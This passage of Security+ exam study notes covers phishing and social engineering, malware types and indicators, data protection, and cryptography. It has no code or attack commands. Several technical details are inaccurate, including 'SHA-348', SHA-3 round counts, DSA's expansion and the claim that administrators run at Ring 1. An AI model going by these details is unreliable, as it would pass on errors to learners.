            - Sending fraudulent emails that appear to be from reputable sources with the aim of convincing individuals to reveal personal information, such as passwords and credit card numbers
        - *Spear Phishing*
            - More targeted form of phishing that is used by cybercriminals who are more tightly focused on a specific group of individuals or organizations
            - Has a higher success rate
        - *Whaling*
            - Form of spear phishing that targets high-profile individuals, like CEOs or CFOs
            - Attacker isn't trying to catch the little fish in an organization, but instead

they want to catch one of the executives, board members, or higher level managers in the company since the rewards are potentially much greater
        - Often used as an initial step to compromise an executive's account for subsequent attacks within their organization
    - *Business Email Compromise (BEC)*
        - Sophisticated type of phishing attack that usually targets businesses by using one of their internal email accounts to get other employees to perform some kind of malicious actions on behalf of the attacker
        - Taking over a legitimate business email accounts through social engineering or cyber intrusion techniques to conduct unauthorized fund transfers, redirect payments, or steal sensitive information
    - *Vishing (Voice Phishing)*
        - Attacker tricks their victims into sharing personal or financial information over the phone
    - *Smishing (SMS Phishing)*
        - Involves the use of text messages to trick individuals into providing their personal information

- **Preventing Phishing Attacks**
    - By implementing the right strategies and providing user security awareness training, the threat of a successful phishing campaign against your organization can be mitigated effectively
    - *Anti-phishing Campaign*
        - Essential user security awareness training tool that can be used to educate individuals about the risks of phishing and how to best identify potential phishing attempts

        - Should offer remedial training for users who fell victim to simulated phishing emails
    - To help prevent phishing your organization should regularly conduct user security awareness training that contains coverage of the various phishing techniques
        - Phishing
        - Spear Phishing
        - Whaling
        - Business Email Compromise
        - Vishing
        - Smishing
        - Along with other relevant cyber threats and attacks that may affect your organization
    - There are some commonly used key indicators that are associated with phishing attacks
        - Urgency
            - Phishing emails often create a sense of urgency by prompting the recipient to act immediately
        - Unusual Requests
            - If your receive an email requesting sensitive information, such as passwords or credit card numbers, you should treat these emails with a lot of suspicion
        - Mismatched URLs
            - When you are looking at an HTML-based email, the words you are reading are called the display text, but the underlying URL of the weblink could be set to anything you want
            - To check if the text-based link matches the underlying URL, you should always hover your mouse over the link in the email for a few seconds and

this will reveal the actual URL that the link is connected to

- Strange Email Addresses
  - If the real email address and the displayed email address don't match, then the email should be treated as suspicious and possibly part of a phishing campaign
- Poor Spelling or Grammar
  - If an email has a lot of "broken English", poor grammar, or numerous spelling errors, it is likely to be part of a phishing campaign

- Mitigation
  - Training
  - Report suspicious messages to protect your organization from potential phishing attacks
  - Analyze the threat
  - Inform all users about the threat
    - If the phishing email was opened, conduct a quick investigation and triage the user's system
  - An organization should revise its security measures for every success phishing attack

- **Frauds and Scams**
  - *Fraud*
    - Wrongful or criminal deception that is intended to result in financial or personal gain for the attacker
    - One of the most common types of fraud that you will see online is known as identity fraud or identity theft

- *Identity Fraud and Identity Theft*
  - Involves the use of another person's personal information without their authorization to commit a crime or to deceive or defraud that other person or some other third party
- Difference between identity fraud and identity theft
  - In identity fraud, the attacker takes the victim's credit card number and charges items to the card
  - In identity theft, the attacker tries to fully assume the identity of their victim

- *Scams*
  - Fraudulent or deceptive act or operation
  - Most common scam is called the invoice scam
    - *Invoice Scam*
      - In which a person is tricked into paying for a fake invoice for a product or service that they did not actually order

- **Influence Campaigns**
  - *Influence Campaigns*
    - Coordinated efforts to affect public perception or behavior towards a particular cause, individual, or group
    - Are a powerful tool for shaping public opinion and behavior
    - Foster misinformation and disinformation
  - *Misinformation*
    - False or inaccurate information shared without harmful intent
  - *Disinformation*
    - Involves the deliberate creation and sharing of false information with the intent

to deceive or mislead

- Remember, misinformation and disinformation can have serious consequences because they can undermine public trust in institutions, fuel social divisions, and even influence the outcomes of elections

- **Other Social Engineering Attacks**
  - Some of the common other social engineering attacks
    - *Diversion Theft*
      - Involves manipulating a situation or creating a distraction to steal valuable items or information
    - *Hoaxes*
      - Malicious deception that is often spread through social media, email, or other communication channels
      - Often paired with phishing attacks and impersonation attacks
      - To prevent hoaxes people must fact check and use good critical thinking skills
    - *Shoulder Surfing*
      - Involves looking over someone's shoulder to gather personal information
      - Includes the use of high powered cameras or closed-circuit television cameras to steal information from a distance
      - To prevent shoulder surfing, users must be aware of their surroundings when providing any sensitive information
    - *Dumpster Diving*
      - Involves searching through trash to find valuable information
      - Commonly used to find discarded documents containing personal or corporate information

- Use clean desk and clean desktop policies

- *Eavesdropping*
  - Involves the process of secretly listening to private conversations
  - perpetrator intercepts the communication of parties without their knowledge
  - Prevent this by encrypting data in transit
- *Baiting*
  - Involves leaving a malware-infected physical device, like a USB drive, in a place where it will be found by a victim, who will then hopefully use the device to unknowingly install malware on their organization's computer system
  - To prevent baiting, train users to not use devices they find
- *Piggybacking and Tailgating*
  - Involve an unauthorized person following an authorized person into a secure area
  - *Piggybacking*
    - Attacker attempts to follow an employee through an access control vestibule or access control point without their knowledge
  - *Tailgating*
    - Involves an attacker convincing an authorized employee to let them into the facility by getting the authorized employee to swipe their own access badge and allow the attacker inside the facility

Malware

Objective 2.4: Given a scenario, analyze indicators of malicious activity

- **Viruses**
  - *Computer Virus*
    - Made up of malicious code that's run on a machine without the user's knowledge and this allows the code to infect the computer whenever it has been run
  - 10 Different Types of Viruses
    - *Boot Sector*
      - One that is stored in the first sector of a hard drive and is then loaded into memory whenever the computer boots up
    - *Macro*
      - Form of code that allows a virus to be embedded inside another document so that when that document is opened by the user, the virus is executed
    - *Program*
      - Try to find executables or application files to infect with their malicious code
    - *Multipartite*
      - Combination of a boot sector type virus and a program virus
      - Able to place itself in the boot sector and be loaded every time the computer boots
      - It can install itself in a program where it can be run every time the computer starts up

- *Encrypted*
  - Designed to hide itself from being detected by encrypting its malicious code or payloads to avoid detection by any antivirus software
- *Polymorphic*
  - Advanced version of an encrypted virus, but instead of just encrypting the contents it will actually change the viruses code each time it is executed by altering the decryption module in order for it to evade detection
- *Metamorphic*
  - Able to rewrite themselves entirely before it attempts to infect a given file
- *Stealth*
  - Technique used to prevent the virus from being detected by the anti-virus software
- *Armored*
  - Have a layer of protection to confuse a program or a person who's trying to analyze it
- *Hoax*
  - Form of technical social engineering that attempts to scare our end users into taking some kind of undesirable action on their system

- **Worms**
  - *Worm*
    - Piece of malicious software, much like a virus, but it can replicate itself without any user interaction
    - Able to self-replicate and spread throughout your network without a user's consent or their action

- Worms are dangerous for two reasons
  - Infect your workstation and other computing assets
  - Cause disruptions to your normal network traffic since they are constantly trying to replicate and spread themselves across the network
- Worms are best known for spreading far and wide over the internet in a relative short amount of time

- **Trojans**
  - *Trojan*
    - Piece of malicious software that is disguised as a piece of harmless or desirable software
    - Claims that it will perform some needed or desired function for you
  - *Remote Access Trojan (RAT)*
    - Widely used by modern attackers because it provides the attacker with remote control of a victim machine
  - Trojans are commonly used today by attackers to exploit a vulnerability in your workstation and then conducting data exfiltration to steal your sensitive documents, creating backdoors to maintain persistence on your systems, and other malicious activities

- **Ransomware**
  - *Ransomware*
    - Type of malicious software that is designed to block access to a computer system or its data by encrypting it until a ransom is paid to the attacker
  - How can we protect ourselves and our organizations against ransomware?
    - Always conduct regular backups

        - Install software updates regularly
        - Provide security awareness training to your users
        - Implement Multi-Factor Authentication (MFA)
    - What should you do if you find yourself or your organization as the victim of a ransomware attack?
        - Never pay the ransom
            - Paying the ransom doesn't actually guarantee that you will ever get your data back
        - If you suspect ransomware has infected your machine, you should disconnect it from the network
        - Notify the authorities
        - Restore your data and systems from known good backups

- **Zombies and Botnets**
    - *Botnet*
        - Network of compromised computers or devices controlled remotely by malicious actors
    - *Zombie*
        - Name of a compromised computer or device that is part of a botnet
        - Used to perform tasks using remote commands from the attacker without the user's knowledge
    - *Command and Control Node*
        - Computer responsible for managing and coordinating the activities of other nodes or devices within a network
    - Botnets are used
        - as pivot points

        - disguise the real attacker
        - to host illegal activities
        - to spam others by sending out phishing campaigns and other malware
    - Most common use for a botnet is to conduct a DDoS (Distributed Denial-of-Service) attack
        - *Distributed Denial-of-Service (DDoS) Attack*
            - Occurs when many machines target a single victim and attack them at the exact same time
    - Botnets are used by attackers to combine processing power to break through different types of encryption schemes
    - Attackers usually only use about 20-25% of any zombie's power

- **Rootkits**
    - *Rootkit*
        - Designed to gain administrative level control over a given computer system without being detected
    - Account with the highest level of permissions is called the Administrator account
        - Allows the person to install programs, delete programs, open ports, shut ports, and do whatever it is they want to do on that system
        - In a UNIX, Linux, or MacOS computer, this type of administrator account is actually called the root account
    - A computer system has several different rings of permissions throughout the system
        - *Ring 3 (Outermost Ring)*
            - Where user level permissions are used
        - *Ring 0 (Innermost or Highest Permission Levels)*
            - Operating in Ring 0 is called "kernel mode"

- *Kernel Mode*
    - Allows a system to control access to things like device drivers, your sound card, your video display or monitor, and other similar things

- If you login as the administrator or root user on a system, you have root permission and you will be operating at Ring 1 of the operating system
    - Remember, the closer the malicious code is to the kernel, the more permissions it will have and the more damage it can cause on your system
- When a rootkit is installed on a system, it tries to move from Ring 1 to Ring 0 so that it can hide from other functions of the operating system to avoid detection
- One technique used by rootkits to gain this deeper level of access is a DLL injection
    - *DLL Injection*
        - Technique used to run arbitrary code within the address space of another process by forcing it to load a dynamic-link library
    - *Dynamic Link Library (DLL)*
        - Collection of code and data that can be used by multiple programs simultaneously to allow for code reuse and modularization in software development
    - *Shim*
        - Piece of software code that is placed between two components and that intercepts the calls between those components and can be used redirect them
- Rootkits are extremely powerful, and they are very difficult to detect because the operating system is essentially blinded to them
    - To detect them, the best way is to boot from an external device and then scan the internal hard drive to ensure that you can detect those rootkits using a good anti-malware scanning solution from a live boot Linux distribution

- **Backdoors and Logic Bombs**
  - *Backdoor*
    - Originally placed in computer programs to bypass the normal security and authentication functions
    - Most often put into systems by designers and programmers
    - Remote Access Trojan (RAT) acts just like a backdoor in our modern networks
      - Can be placed by a threat actor on your computer to help them maintain persistent access to that system
  - *Easter egg*
    - a hidden feature or novelty within a program that is typically inserted by the software developers as an inside joke
    - Code often has significant vulnerabilities
  - *Logic Bombs*
    - Malicious code that's inserted into a program, and the malicious code will only execute when certain conditions have been met

- **Keylogger**
  - *Keylogger*
    - Piece of software or hardware that records every single keystroke that is made on a computer or mobile device
  - Keyloggers can be either software-based or hardware-based
    - *Software Keyloggers*
      - Malicious programs that get installed on a victim's computer
      - Often bundled with other software or delivered through social engineering attacks, like phishing or pretexting attacks

        - *Hardware Keyloggers*
            - Physical devices that need to be plugged into a computer
            - These will resemble a USB drive or they can be embedded within a keyboard cable itself
    - To protect your organization from keyloggers, ensure the following
        - Perform regular updates and patches
        - Rely on quality antivirus and antimalware solutions
        - Conduct phishing awareness training for your users
        - Implement multi-factor authentication systems
        - Encrypt keystrokes being sent to your systems
        - Perform physical checks of your desktops, laptops, and servers

- **Spyware and Bloatware**
    - *Spyware*
        - Malicious software that is designed to gather and send information about a user or organization without their knowledge
        - Spyware can get installed on a system in several different ways
            - Bundled with other software
            - Installed through a malicious website
            - Installed when users click on a deceptive pop-up advertisement
        - To help protect yourself against spyware, you should only use reputable antivirus and anti-spyware tools that are regularly updated detect and remove any potential threats
    - *Bloatware*
        - Any software that comes pre-installed on a new computer or smartphone that you, as the user, did not specifically request, want, or need

- Other examples of bloatware are things like unnecessary toolbars or applications that promote certain services
- Bloatware isn't malicious, but it can
  - waste your storage space
  - slow down the performance of your devices
  - introduce security vulnerabilities into your systems
- Remember, anytime a piece of software is installed, that is one more potential threat vector for an attacker to exploit if you don't properly update that application
- To remove bloatware, you can either do the following
  - Do a manual removal process
  - Use bloatware removal tools to uninstall the unwanted applications
  - Perform a clean operating system installation

- **Malware Attack Techniques**
  - *Malware Exploitation Technique*
    - Specific method by which malware code penetrates and infects a targeted system
  - Some malware focuses on infecting the system's memory to leverage remote procedure calls over the organization's network
    - Most modern malware uses fileless techniques to avoid detection by signature-based security software
    - Fileless Malware is used to create a process in the system memory without relying on the local file system of the infected host
  - How does this modern malware work?
    - When a user accidentally clicks on a malicious link or opens a malicious file, the specific type of malware being installed is known as a stage one dropper or

downloader

- *Stage 1 Dropper or Downloader*
    - Piece of malware that is usually created as a lightweight shellcode that can be executed on a given system
- *Dropper*
    - Specific malware type designed to initiate or run other malware forms within a payload on an infected host
- *Downloader*
    - Retrieve additional tools post the initial infection facilitated by a dropper
- The primary function of a stage one dropper or downloader is to retrieve additional portions of the malware code and to trick the user into activating it
- *Shellcode*
    - Broader term that encompasses lightweight code meant to execute an exploit on a given target
- *Stage 2: Downloader*
    - Downloads and installs a remote access Trojan to conduct command and control on the victimized system
- "Actions on Objectives" Phase
    - Threat actors will execute primary objectives to meet core objectives like
        - data exfiltration
        - file encryption
- Concealment
    - Used to help the threat actor prolong unauthorized access to a

system by

- hiding tracks
- erasing log files
- hiding any evidence of malicious activity

- *"Living off the Land"*
  - A strategy adopted by many Advanced Persistent Threats and criminal organizations
  - the threat actors try to exploit the standard tools to perform intrusions

- **Indications of Malware Attacks**
  - 9 Common Indicators of Malware Attacks
    - *Account Lockouts*
      - Malware, especially those designed for credential theft or brute force attacks, can trigger multiple failed login attempts that would result in a user's account being locked out
    - Concurrent Session Utilization
      - If you notice that a single user account has multiple simultaneous or concurrent sessions open, especially from various geographic locations
    - Blocked Content
      - If there is a sudden increase in the amount of blocked content alerts you are seeing from your security tools
    - *Impossible Travel*
      - Refers to a scenario where a user's account is accessed from two or more geographically separated locations in an impossibly short period of time

- Resource Consumption
  - If you are observing any unusual spikes in CPU, memory, or network bandwidth utilization that cannot be linked back to a legitimate task
- Resource Inaccessibility
  - *Ransomware*
    - Form of malware that encrypts user files to make them inaccessible to the user
  - If a large number of files or critical systems suddenly become inaccessible or if users receive messages demanding payment to decrypt their data
- Out-of-Cycle Logging
  - If you are noticing that your logs are being generated at odd hours or during times when no legitimate activities should be taking place (such as in the middle of the night when no employees are actively working)
- Missing Logs
  - If you are conducting a log review as a cybersecurity analyst and you see that there are gaps in your logs or if the logs have been cleared without any authorized reason
- Published or Documented Attacks
  - If a cybersecurity research or reporter published a report that shows that your organization's network has been infected as part of a botnet or other malware-based attack

Data Protection

Objectives:

- 1.4 - Explain the importance of using appropriate cryptographic solutions
- 3.3 - Compare and contrast concepts and strategies to protect data
- 4.2 - Explain the security implications of proper hardware, software,and data asset management
- 4.4 - Explain security alerting and monitoring concepts and tools
- 5.1 - Summarize elements of effective security governance

- **Data Classifications**
    - *Data Classification*
        - Based on the value to the organization and the sensitivity of the information, determined by the data owner
    - *Sensitive Data*
        - Information that, if accessed by unauthorized persons, can result in the loss of security or competitive advantage for a company
        - Over classifying data leads to protecting all data at a high level
    - Importance of Data Classification
        - Helps allocate appropriate protection resources
        - Prevents over-classification to avoid excessive costs
        - Requires proper policies to identify and classify data accurately
    - Commercial Business Classification Levels
        - *Public*
            - No impact if released; often publicly accessible data

- *Sensitive*
  - Minimal impact if released, e.g., financial data
- *Private*
  - Contains internal personnel or salary information
- *Confidential*
  - Holds trade secrets, intellectual property, source code, etc.
- *Critical*
  - Extremely valuable and restricted information

- Government Classification Levels
  - *Unclassified*
    - Generally releasable to the public
  - *Sensitive but Unclassified*
    - Includes medical records, personnel files, etc.
  - *Confidential*
    - Contains information that could affect the government
  - *Secret*
    - Holds data like military deployment plans, defensive postures
  - *Top Secret*
    - Highest level, includes highly sensitive national security information
- Legal Requirements
  - Depending on the organization's type, there may be legal obligations to maintain specific data for defined periods
- Documentation
  - Organizational policies should clearly outline data classification, retention, and disposal requirements

- Note: Understanding data classifications and their proper handling is vital for protecting sensitive information and complying with relevant regulations

- **Data Ownership**
  - *Data Ownership*
    - Process of identifying the individual responsible for maintaining the confidentiality, integrity, availability, and privacy of information assets
  - *Data Owner*
    - A senior executive responsible for labeling information assets and ensuring they are protected with appropriate controls
  - *Data Controller*
    - Entity responsible for determining data storage, collection, and usage purposes and methods, as well as ensuring the legality of these processes
  - *Data Processor*
    - A group or individual hired by the data controller to assist with tasks like data collection and processing
  - *Data Steward*
    - Focuses on data quality and metadata, ensuring data is appropriately labeled and classified, often working under the data owner
  - *Data Custodian*
    - Responsible for managing the systems on which data assets are stored, including enforcing access controls, encryption, and backup measures
  - *Privacy Officer*
    - Oversees privacy-related data, such as personally identifiable information (PII), sensitive personal information (SPI), or protected health information (PHI), ensuring compliance with legal and regulatory frameworks

- Data Ownership Responsibility
  - The IT department (CIO or IT personnel) should not be the data owner; data owners should be individuals from the business side who understand the data's content and can make informed decisions about classification
- Selection of Data Owners
  - Data owners should be designated within their respective departments based on their knowledge of the data and its significance within the organization
- Note: Proper data ownership is essential for maintaining data security, compliance, and effective data management within an organization. Different roles contribute to safeguarding and managing data appropriately

- **Data States**
  - *Data at Rest*
    - Data stored in databases, file systems, or storage systems, not actively moving
    - Encryption Methods
      - *Full Disk Encryption (FDE)*
        - Encrypts the entire hard drive
      - *Partition Encryption*
        - Encrypts specific partitions, leaving others unencrypted
      - *File Encryption*
        - Encrypts individual files
      - *Volume Encryption*
        - Encrypts selected files or directories
      - *Database Encryption*
        - Encrypts data stored in a database at column, row, or table levels

- *Record Encryption*
    - Encrypts specific fields within a database record

- *Data in Transit (Data in Motion)*
    - Data actively moving from one location to another, vulnerable to interception
    - Transport Encryption Methods
        - *SSL (Secure Sockets Layer) and TLS (Transport Layer Security)*
            - Secure communication over networks, widely used in web browsing and email
        - *VPN (Virtual Private Network)*
            - Creates secure connections over less secure networks like the internet
        - *IPSec (Internet Protocol Security)*
            - Secures IP communications by authenticating and encrypting IP packets
- *Data in Use*
    - Data actively being created, retrieved, updated, or deleted
    - Protection Measures
        - Encryption at the Application Level
            - Encrypts data during processing
        - Access Controls
            - Restricts access to data during processing
        - Secure Enclaves
            - Isolated environments for processing sensitive data
        - Mechanisms like INTEL Software Guard
            - Encrypts data in memory to prevent unauthorized access

- Note: Understanding the three data states (data at rest, data in transit, and data in use) and implementing appropriate security measures for each is essential for comprehensive data protection

- **Data Types**
  - *Regulated Data*
    - Controlled by laws, regulations, or industry standards
    - Compliance requirements
      - General Data Protection Regulation (GDPR)
      - Health Insurance Portability and Accountability Act (HIPAA)
  - *PII (Personal Identification Information)*
    - Information used to identify an individual (e.g., names, social security numbers, addresses)
    - Targeted by cybercriminals and protected by privacy laws
  - *PHI (Protected Health Information)*
    - Information about health status, healthcare provision, or payment linked to a specific individual
    - Protected under HIPAA
  - *Trade Secrets*
    - Confidential business information giving a competitive edge (e.g., manufacturing processes, marketing strategies, proprietary software)
    - Legally protected; unauthorized disclosure results in penalties
  - *Intellectual Property (IP)*
    - Creations of the mind (e.g., inventions, literary works, designs)
    - Protected by patents, copyrights, trademarks to encourage innovation
    - Unauthorized use can lead to legal action

- *Legal Information*
  - Data related to legal proceedings, contracts, regulatory compliance
  - Requires high-level protection for client confidentiality and legal privilege
- *Financial Information*
  - Data related to financial transactions (e.g., sales records, tax documents, bank statements)
  - Targeted by cybercriminals for fraud and identity theft
  - Subject to PCI DSS (Payment Card Industry Data Security Standard)
- *Human-Readable Data*
  - Understandable directly by humans (e.g., text documents, spreadsheets)
- *Non-Human-Readable Data*
  - Requires machine or software to interpret (e.g., binary code, machine language)
  - Contains sensitive information and requires protection

- **Data Sovereignty**
  - *Data Sovereignty*
    - Digital information subject to laws of the country where it's located
    - Gained importance with cloud computing's global data storage
  - *GDPR (General Data Protection Regulation)*
    - Protects EU citizens' data within EU and EEA borders
    - Compliance required regardless of data location
    - Non-compliance leads to significant fines
  - Data Sovereignty Laws (e.g., China, Russia)
    - Require data storage and processing within national borders
    - Challenge for multinational companies and cloud services

- Access Restrictions
  - Cloud services may restrict access from multiple geographic locations
- Data sovereignty and geographical considerations pose complex challenges, but organizations can navigate them successfully with planning, legal guidance, and strategic technology use, ensuring compliance and data protection

- **Securing Data**
  - *Geographic Restrictions (Geofencing)*
    - Virtual boundaries to restrict data access based on location
    - Compliance with data sovereignty laws
    - Prevent unauthorized access from high-risk locations
  - *Encryption*
    - Transform plaintext into ciphertext using algorithms and keys
    - Protects data at rest and in transit
    - Requires decryption key for data recovery
  - *Hashing*
    - Converts data into fixed-size hash values
    - Irreversible one-way function
    - Commonly used for password storage
  - *Masking*
    - Replace some or all data with placeholders (e.g., "x")
    - Partially retains metadata for analysis
    - Irreversible de-identification method
  - *Tokenization*
    - Replace sensitive data with non-sensitive tokens

        - Original data stored securely in a separate database
        - Often used in payment processing for credit card protection
    - *Obfuscation*
        - Make data unclear or unintelligible
        - Various techniques, including encryption, masking, and pseudonyms
        - Hinder unauthorized understanding
    - *Segmentation*
        - Divide network into separate segments with unique security controls
        - Prevent lateral movement in case of a breach
        - Limits potential damage
    - *Permission Restrictions*
        - Define data access and actions through ACLs or RBAC
        - Restrict access to authorized users
        - Reduce risk of internal data breaches

- **Data Loss Prevention (DLP)**
    - *Data Loss Prevention (DLP)*
        - Aims to monitor data in use, in transit, or at rest to detect and prevent data theft
    - DLP systems are available as software or hardware solutions
    - Types of DLP Systems
        - *Endpoint DLP System*
            - Installed as software on workstations or laptops
            - Monitors data in use on individual computers
            - Can prevent or alert on file transfers based on predefined rules
        - *Network DLP System*
            - Software or hardware placed at the network perimeter

- Focuses on monitoring data entering and leaving the network
- Detects unauthorized data leaving the network

- *Storage DLP System*
  - Installed on a server in the data center
  - Inspects data at rest, especially encrypted or watermarked data
  - Monitors data access patterns and flags policy violations
- *Cloud-Based DLP System*
  - Offered as a software-as-a-service solution
  - Protects data stored in cloud services

Cryptographic Solutions

Objectives:

- 1.4 - Explain the importance of using appropriate cryptographic solutions
- 2.3 - Explain various types of vulnerabilities
- 2.4 - Given a scenario, you must be able to analyze indicators of malicious activity

- **Symmetric vs Asymmetric**
    - *Symmetric Encryption*
        - Uses a single key for both encryption and decryption
        - Often referred to as private key encryption
        - Requires both sender and receiver to share the same secret key
        - Offers confidentiality but lacks non-repudiation
        - Challenges with key distribution in large-scale usage
            - More people means more sharing of the keys
    - *Asymmetric Encryption*
        - Uses two separate keys
            - Public key for encryption
            - Private key for decryption
        - Often called “Public Key Cryptography”
        - No need for shared secret keys
        - Commonly used algorithms include Diffie-Hellman, RSA, and Elliptic Curve Cryptography (ECC)
        - Slower compared to symmetric encryption but solves key distribution challenges

- *Hybrid Approach*
  - Combines both symmetric and asymmetric encryption for optimal benefits
  - Asymmetric encryption used to encrypt and share a secret key
  - Symmetric encryption used for bulk data transfer, leveraging the shared secret key
  - Offers security and efficiency
- *Stream Cipher*
  - Encrypts data bit-by-bit or byte-by-byte in a continuous stream
  - Uses a keystream generator and exclusive XOR function for encryption
  - Suitable for real-time communication data streams like audio and video
  - Often used in symmetric algorithms
- *Block Cipher*
  - Breaks input data into fixed-size blocks before encryption
    - Usually 64, 128, or 256 bits at a time
  - Padding added to smaller data blocks to fit the fixed block size
  - Advantages include ease of implementation and security
  - Can be implemented in software, whereas stream ciphers are often used in hardware solutions

- **Symmetric Algorithms**
  - *DES (Data Encryption Standard)*
    - Uses a 64-bit key (56 effective bits due to parity)
    - Encrypts data in 64-bit blocks through 16 rounds of transposition and substitution
    - Widely used from the 1970s to the early 2000s

- *Triple DES (3DES)*
  - Utilizes three 56-bit keys
  - Encrypts data with the first key, decrypts with the second key, and encrypts again with the third key
  - Provides 112-bit key strength but is slower than DES
- *IDEA (International Data Encryption Algorithm)*
  - A symmetric block cipher with a 64-bit block size
  - Uses a 128-bit key, faster and more secure than DES
  - Not as widely used as AES
- *AES (Advanced Encryption Standard)*
  - Replaced DES and 3DES as the US government encryption standard
  - Supports 128-bit, 192-bit, or 256-bit keys and matching block sizes
  - Widely adopted and considered the encryption standard for sensitive unclassified information
- *Blowfish*
  - A block cipher with key sizes ranging from 32 to 448 bits
  - Developed as a DES replacement but not widely adopted
- *Twofish*
  - A block cipher supporting 128-bit block size and key sizes of 128, 192, or 256 bits
  - Open source and available for use
- *RC Cipher Suite (RC4, RC5, RC6)*
  - Created by cryptographer, Ron Rivest
  - RC4 is a stream cipher with variable key sizes from 40 to 2048 bits, used in SSL and WEP
  - RC5 is a block cipher with key sizes up to 2048 bits
  - RC6, based on RC5, was considered as a DES replacement

- Classification
  - All the mentioned algorithms are symmetric
  - Most are block ciphers except for RC4, which is a stream cipher
- Note: When working with encryption, identify if it's symmetric or asymmetric and whether it's a block or stream cipher

- **Asymmetric Algorithms**
  - Public Key Cryptography
    - No shared secret key required
    - Uses a key pair
      - Public key for encryption
      - Private key for decryption
    - Provides confidentiality, integrity, authentication, and non-repudiation
  - Confidentiality with Public Key
    - Encrypt data using the receiver's public key
    - Only the recipient with the corresponding private key can decrypt it
  - Non-Repudiation with Private Key
    - Encrypt data using the sender's private key
    - Anyone with access to the sender's public key can verify the sender's identity
  - Integrity and Authentication with Digital Signature
    - Create a hash digest of the message
    - Encrypt the hash digest with the sender's private key
      - *Digital Signature*
        - A hash digest of a message encrypted with the sender's private key to let the recipient know the document was created and sent by the person claiming to have sent it

        - Encrypt the message with the receiver's public key
        - Ensures message integrity, non-repudiation, and confidentiality
    - Common Asymmetric Algorithms
        - *Diffie-Hellman*
            - Used for key exchange and secure key distribution
            - Vulnerable to man-in-the-middle attacks, requires authentication
            - Commonly used in VPN tunnel establishment (IPSec)
        - *RSA (Ron Rivest, Adi Shamir, Leonard Adleman)*
            - Used for key exchange, encryption, and digital signatures
            - Relies on the mathematical difficulty of factoring large prime numbers
            - Supports key sizes from 1024 to 4096 bits
            - Widely used in organizations and multi-factor authentication
        - *Elliptic Curve Cryptography (ECC)*
            - Efficient and secure, uses algebraic structure of elliptical curves
            - Commonly used in mobile devices and low-power computing
            - Six times more efficient than RSA for equivalent security
            - Variants include
                - ECDH (Elliptic Curve Diffie-Hellman)
                - ECDHE (Elliptic Curve Diffie-Hellman Ephemeral)
                - ECDSA (Elliptic Curve Digital Signature Algorithm)

- **Hashing**
    - *Hashing*
        - One-way cryptographic function that produces a unique message digest from an input

- *Hash Digest*
  - Like a digital fingerprint for the original data
  - Always of the same length regardless of the input's length
- Common Hashing Algorithms
  - *MD5 (Message Digest Algorithm 5)*
    - Creates a 128-bit hash value
    - Limited unique values, leading to collisions
    - Not recommended for security-critical applications due to vulnerabilities
  - SHA (Secure Hash Algorithm) Family
    - *SHA-1*
      - Produces a 160-bit hash digest, less prone to collisions than MD5
    - *SHA-2*
      - Offers longer hash digests (SHA-224, SHA-256, SHA-348, SHA-512)
    - *SHA-3*
      - Uses 224-bit to 512-bit hash digests, more secure, 120 rounds of computations
  - *RIPEMD (RACE Integrity Primitive Evaluation Message Digest)*
    - Versions available
      - 160-bit (Most common)
      - 256-bit
      - 320-bit
    - Open-source competitor to SHA but less popular
  - *HMAC (Hash-based Message Authentication Code)*
    - Checks message integrity and authenticity
    - Utilizes other hashing algorithms (e.g., HMAC-MD5, HMAC-SHA1, HMAC-SHA256)

- *Digital Signatures*
  - Uses a hash digest encrypted with a private key
  - Sender hashes the message and encrypts the hash with their private key
  - Recipient decrypts the digital signature using the sender's public key
  - Verifies integrity of the message and ensures non-repudiation
- Common Digital Signature Algorithms
  - *DSA (Digital Security Algorithm)*
    - Utilized for digital signatures
    - Uses a 160-bit message digest created by DSS (Digital Security Standard)
  - *RSA (Rivest-Shamir-Adleman)*
    - Supports digital signatures, encryption, and key distribution
    - Widely used in various applications, including code signing
- Hashes change drastically even with minor changes in input
- Hashing is used to verify data integrity and detect any changes

- **Increasing Hash Security**
  - Common Hashing Attacks
    - *Pass the Hash Attack*
      - A hacking technique that allows the attacker to authenticate to a remote server or service by using the underlying hash of a user's password instead of requiring the associated plaintext password
      - Hashes can be obtained by attackers to impersonate users without cracking the password
      - Difficult to defend against due to various Windows vulnerabilities and applications
      - Penetration tools like Mimikatz automate hash harvesting

- Prevention
    - Ensure trusted OS
    - Proper Windows domain trusts
    - Patching
    - Multi-factor authentication
    - Least privilege

- *Birthday Attack*
    - Occurs when two different messages result in the same hash digest (collision)
    - Named after the Birthday Paradox, where shared birthdays become likely in a group
    - Collisions in hashes can be exploited by attackers to bypass authentication systems
    - Use longer hash output (e.g., SHA-256) to reduce collisions and mitigate the attack

- Increasing Hash Security
    - *Key Stretching*
        - Technique that is used to mitigate a weaker key by creating longer, more secure keys (at least 128 bits)
            - increases the time needed to crack the key
        - Used in systems like Wi-Fi Protected Access, Wi-Fi Protected Access version 2, and Pretty Good Privacy
    - *Salting*
        - Adds random data (salt) to passwords before hashing
        - Ensures distinct hash outputs for the same password due to different salts

        - Thwarts dictionary attacks, brute-force attacks, and rainbow tables
    - *Nonces (Number Used Once)*
        - Adds unique, often random numbers to password-based authentication processes
        - Prevents attackers from reusing stolen authentication data
        - Adds an extra layer of security against replay attacks
    - Limiting Failed Login Attempts
        - Restricts the number of incorrect login attempts a user can make
        - Increases security by deterring attackers attempting to guess passwords
        - Typically, lock the account after three incorrect attempts

- **Public Key Infrastructure (PKI)**
    - PKI Components
        - An entire system involving hardware, software, policies, procedures, and people
        - Based on asymmetric encryption
        - Facilitates secure data transfer, authentication, and encrypted communications
        - Used in HTTPS connections on websites
    - Establishing a Secure Connection
        - User connects to a website via HTTPS
        - Web browser contacts a trusted certificate authority for the web server's public key
        - A random shared secret key is generated for symmetric encryption
        - The shared secret is securely transmitted using public key encryption
        - The web server decrypts the shared secret with its private key
        - Both parties use the shared secret for symmetric encryption (e.g., AES) to create a secure tunnel

- Security Benefits
  - Confidentiality
    - Data is encrypted using a shared secret
  - Authentication
    - The web server's identity is verified using its private key
  - Visual indicators like a padlock show secure communication
- Public Key Infrastructure vs. Public Key Cryptography
  - *Public Key Infrastructure (PKI)*
    - Encompasses the entire system for managing key pairs, policies, and trust
    - Involves generating, validating, and managing public and private key pairs that are used in the encryption and decryption process
    - Ensures the security and trustworthiness of keys
  - *Public Key Cryptography*
    - Refers to the encryption and decryption process using public and private keys
    - Only a part of the overall PKI architecture
- *Key Escrow*
  - Storage of cryptographic keys in a secure, third-party location (escrow)
  - Enables key retrieval in cases of key loss or for legal investigations
  - Relevance in PKI
    - In PKI, key escrow ensures that encrypted data is not permanently inaccessible
    - Useful when individuals or organizations lose access to their encryption keys
  - Security Concerns

